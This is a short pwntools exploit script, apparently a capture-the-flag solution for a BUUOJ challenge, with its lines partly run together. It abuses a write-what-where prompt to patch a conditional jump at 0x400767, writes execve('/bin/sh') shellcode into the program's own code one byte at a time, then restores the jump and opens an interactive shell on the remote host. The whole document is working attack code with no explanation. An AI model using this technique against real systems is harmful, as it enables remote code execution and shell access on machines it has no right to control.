1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
|
from pwn import *
context(os='linux',arch='amd64')
sh = remote('node3.buuoj.cn',29567) text = 0x400767
def writeData(addr,data): sh.sendlineafter('Where What?',hex(addr) + ' ' + str(data))
writeData(text+1,u32(asm('jnz $-0x4A')[1:].ljust(4,'\x00')))
writeData(text,u32(asm('jmp $-0x4A')[0:1].ljust(4,'\x00'))) shellcode = asm('''mov rax,0x0068732f6e69622f push rax mov rdi,rsp mov rax,59 xor rsi,rsi mov rdx,rdx syscall ''') shellcode_addr = 0x0000000000400769 i = 0 for x in shellcode: data = u8(x) writeData(shellcode_addr + i,data) i = i + 1
writeData(text+1,u32(asm('jnz $+0x2')[1:].ljust(4,'\x00')))
sh.interactive()
|